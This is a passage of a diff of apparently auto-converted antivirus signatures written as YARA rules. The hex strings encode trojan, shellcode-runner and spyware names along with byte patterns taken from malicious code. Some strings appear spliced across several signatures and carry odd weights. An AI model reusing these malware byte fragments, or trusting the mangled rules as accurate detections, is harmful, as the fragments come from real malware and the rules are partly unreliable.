69 6e 33 32 2f 53 63 72 65 63 77 6f 6e 2e 4d 43 21 4d 54 42 00 1e 00 09 81 01 63 77 63 6f 6e 74 72 6f 6c 1e 00 11 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 57 6f 72 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=60 + +} +rule _InfrastructureShared_4302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -42810,7 +44456,7 @@ rule _InfrastructureShared_4142{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1) >=200 } -rule _InfrastructureShared_4143{ +rule _InfrastructureShared_4303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42820,7 +44466,7 @@ rule _InfrastructureShared_4143{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4144{ +rule _InfrastructureShared_4304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42830,7 +44476,7 @@ rule _InfrastructureShared_4144{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4145{ +rule _InfrastructureShared_4305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42840,7 +44486,7 @@ rule _InfrastructureShared_4145{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4146{ +rule _InfrastructureShared_4306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42850,17 +44496,7 @@ rule _InfrastructureShared_4146{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4147{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 52 54 41 21 4d 54 42 00 01 00 27 03 89 d7 81 e7 ff 00 00 00 30 c3 c1 ea 08 81 e2 ff ff ff 00 b9 08 00 00 00 d1 ef 73 90 01 01 81 f7 20 83 b8 ed e2 90 00 00 00 78 55 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_4148{ +rule _InfrastructureShared_4307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42870,7 +44506,7 @@ rule _InfrastructureShared_4148{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4149{ +rule _InfrastructureShared_4308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42880,7 +44516,7 @@ rule _InfrastructureShared_4149{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4150{ +rule _InfrastructureShared_4309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42890,7 +44526,7 @@ rule _InfrastructureShared_4150{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4151{ +rule _InfrastructureShared_4310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42900,7 +44536,7 @@ rule _InfrastructureShared_4151{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4152{ +rule _InfrastructureShared_4311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42910,7 +44546,17 @@ rule _InfrastructureShared_4152{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4153{ +rule _InfrastructureShared_4312{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 70 62 61 79 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 20 42 ff c9 81 c9 00 ff ff ff ff c1 48 63 c1 48 ff c6 0f b6 4c 84 90 01 01 30 4e ff 49 ff c9 75 90 00 00 00 78 55 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42920,7 +44566,7 @@ rule _InfrastructureShared_4153{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4154{ +rule _InfrastructureShared_4314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42930,7 +44576,7 @@ rule _InfrastructureShared_4154{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4155{ +rule _InfrastructureShared_4315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42940,7 +44586,7 @@ rule _InfrastructureShared_4155{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4156{ +rule _InfrastructureShared_4316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42950,7 +44596,7 @@ rule _InfrastructureShared_4156{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4157{ +rule _InfrastructureShared_4317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42960,7 +44606,7 @@ rule _InfrastructureShared_4157{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4158{ +rule _InfrastructureShared_4318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42970,7 +44616,7 @@ rule _InfrastructureShared_4158{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4159{ +rule _InfrastructureShared_4319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42980,7 +44626,7 @@ rule _InfrastructureShared_4159{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4160{ +rule _InfrastructureShared_4320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42990,7 +44636,7 @@ rule _InfrastructureShared_4160{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4161{ +rule _InfrastructureShared_4321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43000,7 +44646,7 @@ rule _InfrastructureShared_4161{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4162{ +rule _InfrastructureShared_4322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43010,7 +44656,7 @@ rule _InfrastructureShared_4162{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4163{ +rule _InfrastructureShared_4323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43020,7 +44666,7 @@ rule _InfrastructureShared_4163{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4164{ +rule _InfrastructureShared_4324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43030,7 +44676,7 @@ rule _InfrastructureShared_4164{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4165{ +rule _InfrastructureShared_4325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43040,7 +44686,7 @@ rule _InfrastructureShared_4165{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4166{ +rule _InfrastructureShared_4326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43050,7 +44696,7 @@ rule _InfrastructureShared_4166{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4167{ +rule _InfrastructureShared_4327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43060,7 +44706,7 @@ rule _InfrastructureShared_4167{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4168{ +rule _InfrastructureShared_4328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43070,7 +44716,7 @@ rule _InfrastructureShared_4168{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4169{ +rule _InfrastructureShared_4329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43080,7 +44726,7 @@ rule _InfrastructureShared_4169{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4170{ +rule _InfrastructureShared_4330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43090,7 +44736,7 @@ rule _InfrastructureShared_4170{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4171{ +rule _InfrastructureShared_4331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43100,7 +44746,7 @@ rule _InfrastructureShared_4171{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4172{ +rule _InfrastructureShared_4332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43110,7 +44756,7 @@ rule _InfrastructureShared_4172{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4173{ +rule _InfrastructureShared_4333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43120,7 +44766,7 @@ rule _InfrastructureShared_4173{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4174{ +rule _InfrastructureShared_4334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43130,7 +44776,7 @@ rule _InfrastructureShared_4174{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4175{ +rule _InfrastructureShared_4335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43140,7 +44786,7 @@ rule _InfrastructureShared_4175{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4176{ +rule _InfrastructureShared_4336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43150,7 +44796,7 @@ rule _InfrastructureShared_4176{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4177{ +rule _InfrastructureShared_4337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43160,7 +44806,7 @@ rule _InfrastructureShared_4177{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4178{ +rule _InfrastructureShared_4338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43170,7 +44816,7 @@ rule _InfrastructureShared_4178{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4179{ +rule _InfrastructureShared_4339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43180,17 +44826,7 @@ rule _InfrastructureShared_4179{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4180{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4d 58 21 4d 54 42 00 01 00 1f 02 12 01 00 4c 8b c7 48 8b d3 8b 08 e8 90 01 01 9a ff ff 8b d8 e8 61 05 00 00 84 c0 74 55 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_4181{ +rule _InfrastructureShared_4340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43200,7 +44836,7 @@ rule _InfrastructureShared_4181{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4182{ +rule _InfrastructureShared_4341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43210,7 +44846,7 @@ rule _InfrastructureShared_4182{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4183{ +rule _InfrastructureShared_4342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43220,7 +44856,7 @@ rule _InfrastructureShared_4183{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4184{ +rule _InfrastructureShared_4343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43230,7 +44866,7 @@ rule _InfrastructureShared_4184{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4185{ +rule _InfrastructureShared_4344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43240,7 +44876,7 @@ rule _InfrastructureShared_4185{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4186{ +rule _InfrastructureShared_4345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43250,7 +44886,7 @@ rule _InfrastructureShared_4186{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4187{ +rule _InfrastructureShared_4346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43261,7 +44897,7 @@ rule _InfrastructureShared_4187{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8993) >=1 } -rule _InfrastructureShared_4188{ +rule _InfrastructureShared_4347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43272,7 +44908,7 @@ rule _InfrastructureShared_4188{ ((#a_77_0 & 1)*19491+(#a_42_1 & 1)*29797) >=1 } -rule _InfrastructureShared_4189{ +rule _InfrastructureShared_4348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -43282,7 +44918,7 @@ rule _InfrastructureShared_4189{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4190{ +rule _InfrastructureShared_4349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -43292,7 +44928,7 @@ rule _InfrastructureShared_4190{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4191{ +rule _InfrastructureShared_4350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -43304,7 +44940,7 @@ rule _InfrastructureShared_4191{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993+(#a_2b_2 & 1)*22) >=1 } -rule _InfrastructureShared_4192{ +rule _InfrastructureShared_4351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -43314,7 +44950,7 @@ rule _InfrastructureShared_4192{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4193{ +rule _InfrastructureShared_4352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -43324,7 +44960,7 @@ rule _InfrastructureShared_4193{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4194{ +rule _InfrastructureShared_4353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43335,7 +44971,7 @@ rule _InfrastructureShared_4194{ ((#a_48_0 & 1)*12067+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_4195{ +rule _InfrastructureShared_4354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43345,7 +44981,7 @@ rule _InfrastructureShared_4195{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4196{ +rule _InfrastructureShared_4355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43355,7 +44991,7 @@ rule _InfrastructureShared_4196{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4197{ +rule _InfrastructureShared_4356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43365,7 +45001,7 @@ rule _InfrastructureShared_4197{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4198{ +rule _InfrastructureShared_4357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43375,7 +45011,7 @@ rule _InfrastructureShared_4198{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4199{ +rule _InfrastructureShared_4358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43386,7 +45022,7 @@ rule _InfrastructureShared_4199{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4200{ +rule _InfrastructureShared_4359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43397,7 +45033,7 @@ rule _InfrastructureShared_4200{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4201{ +rule _InfrastructureShared_4360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43408,7 +45044,7 @@ rule _InfrastructureShared_4201{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4202{ +rule _InfrastructureShared_4361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43419,7 +45055,7 @@ rule _InfrastructureShared_4202{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4203{ +rule _InfrastructureShared_4362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43430,7 +45066,7 @@ rule _InfrastructureShared_4203{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4204{ +rule _InfrastructureShared_4363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43441,7 +45077,7 @@ rule _InfrastructureShared_4204{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8993) >=2 } -rule _InfrastructureShared_4205{ +rule _InfrastructureShared_4364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -43452,7 +45088,7 @@ rule _InfrastructureShared_4205{ ((#a_5f_0 & 1)*25635+(#a_52_1 & 1)*31022) >=2 } -rule _InfrastructureShared_4206{ +rule _InfrastructureShared_4365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -43464,7 +45100,7 @@ rule _InfrastructureShared_4206{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0) >=2 } -rule _InfrastructureShared_4207{ +rule _InfrastructureShared_4366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -43476,7 +45112,7 @@ rule _InfrastructureShared_4207{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993+(#a_49_2 & 1)*17485) >=2 } -rule _InfrastructureShared_4208{ +rule _InfrastructureShared_4367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -43486,7 +45122,7 @@ rule _InfrastructureShared_4208{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4209{ +rule _InfrastructureShared_4368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43496,7 +45132,7 @@ rule _InfrastructureShared_4209{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4210{ +rule _InfrastructureShared_4369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43506,7 +45142,7 @@ rule _InfrastructureShared_4210{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4211{ +rule _InfrastructureShared_4370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43516,7 +45152,7 @@ rule _InfrastructureShared_4211{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4212{ +rule _InfrastructureShared_4371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43528,7 +45164,7 @@ rule _InfrastructureShared_4212{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0) >=3 } -rule _InfrastructureShared_4213{ +rule _InfrastructureShared_4372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43540,7 +45176,7 @@ rule _InfrastructureShared_4213{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*2) >=3 } -rule _InfrastructureShared_4214{ +rule _InfrastructureShared_4373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43552,7 +45188,7 @@ rule _InfrastructureShared_4214{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0) >=3 } -rule _InfrastructureShared_4215{ +rule _InfrastructureShared_4374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43564,7 +45200,7 @@ rule _InfrastructureShared_4215{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0) >=3 } -rule _InfrastructureShared_4216{ +rule _InfrastructureShared_4375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43576,7 +45212,7 @@ rule _InfrastructureShared_4216{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0) >=3 } -rule _InfrastructureShared_4217{ +rule _InfrastructureShared_4376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43588,7 +45224,7 @@ rule _InfrastructureShared_4217{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4218{ +rule _InfrastructureShared_4377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -43598,84 +45234,65 @@ rule _InfrastructureShared_4218{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_4219{ +rule _InfrastructureShared_4378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 47 65 6e 53 70 79 00 01 00 0a 01 73 65 6e 64 53 63 72 65 65 6e 01 00 06 00 69 6e 6a 65 63 74 01 00 09 00 63 61 70 74 75 72 69 6e 67 01 00 07 00 6d 73 6e 6d 73 67 72 01 00 05 00 67 74 61 6c 6b 00 00 78 55 00 00 04 00 04 00 03 00 } //18467 - $a_4c_1 = {3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 32 36 00 02 00 05 80 01 61 54 75 62 65 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 } //8993 - $a_65_2 = {75 70 00 00 78 55 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 4b 69 6c 6c 41 56 00 01 00 0a 01 00 52 65 76 65 72 73 65 72 00 01 00 05 01 00 45 4e 43 00 01 00 0f 01 00 53 4e 50 65 72 73 69 73 74 65 6e 63 65 00 01 00 } //29807 + $a_54_0 = {3a 57 69 6e 33 32 2f 47 65 6e 53 70 79 00 01 00 0a 01 73 65 6e 64 53 63 72 65 65 6e 01 00 06 00 69 6e 6a 65 63 74 01 00 09 00 63 61 70 74 75 72 69 6e 67 01 00 07 00 6d 73 6e 6d 73 67 72 01 00 05 00 67 74 61 6c 6b 00 00 78 55 00 00 04 00 04 00 04 00 } //18467 + $a_53_1 = {52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 4b 69 6c 6c 41 56 00 01 00 0a 01 00 52 65 76 65 72 73 65 72 00 01 00 05 01 00 45 4e 43 00 01 00 0f 01 00 53 4e 50 65 72 73 69 73 74 65 6e 63 65 00 01 00 06 01 00 4d 65 6c 74 00 } //8993 + $a_55_2 = {00 09 00 09 00 03 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 61 74 6a 75 00 03 00 07 01 26 61 6d 5f 69 64 3d 03 00 0a 01 74 61 6f 62 61 6f 2e 63 6f 6d 05 00 17 01 68 74 74 70 3a 2f 2f 6a 75 2e 61 74 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 00 00 78 55 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 } //0 + $a_61_3 = {65 72 2e 44 41 47 21 4d 54 42 00 0a 00 21 01 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d a8 8a 04 01 48 63 4d f4 41 30 04 0c 8b 45 f4 83 c0 01 89 45 e0 00 00 78 55 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 72 6d 69 78 69 61 2e 4d 52 21 4d 54 42 00 0a 00 14 01 b0 33 } //29779 + $a_7a_4 = {d3 54 3b 31 b5 5b 44 33 d3 54 3b 79 c3 05 00 0e 01 4a 4b 34 5a 8a 07 b9 17 b6 4f 7e 53 92 6f 00 00 78 55 00 00 14 00 14 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 31 21 4d 54 42 00 0a 00 10 03 00 02 03 17 58 7e 90 01 01 00 00 04 5d 91 90 00 0a 00 0c 03 00 00 04 03 04 5d 90 01 05 61 90 00 00 00 78 55 00 00 14 00 14 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4a 32 21 4d 54 42 00 0a 00 19 02 03 4d 08 8b 15 90 01 04 03 55 08 8a 82 36 23 01 00 88 01 8b e5 5d c2 90 00 0a 00 08 00 81 c2 36 23 01 00 89 15 00 00 78 55 00 00 64 00 64 00 01 00 21 23 } //-24831 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993+(#a_65_2 & 1)*29807) >=3 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993+(#a_55_2 & 1)*0+(#a_61_3 & 1)*29779+(#a_7a_4 & 1)*-24831) >=3 } -rule _InfrastructureShared_4220{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 32 36 00 02 00 05 80 01 61 54 75 62 65 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 70 00 00 78 55 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=4 - -} -rule _InfrastructureShared_4221{ +rule _InfrastructureShared_4379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_54_0 = 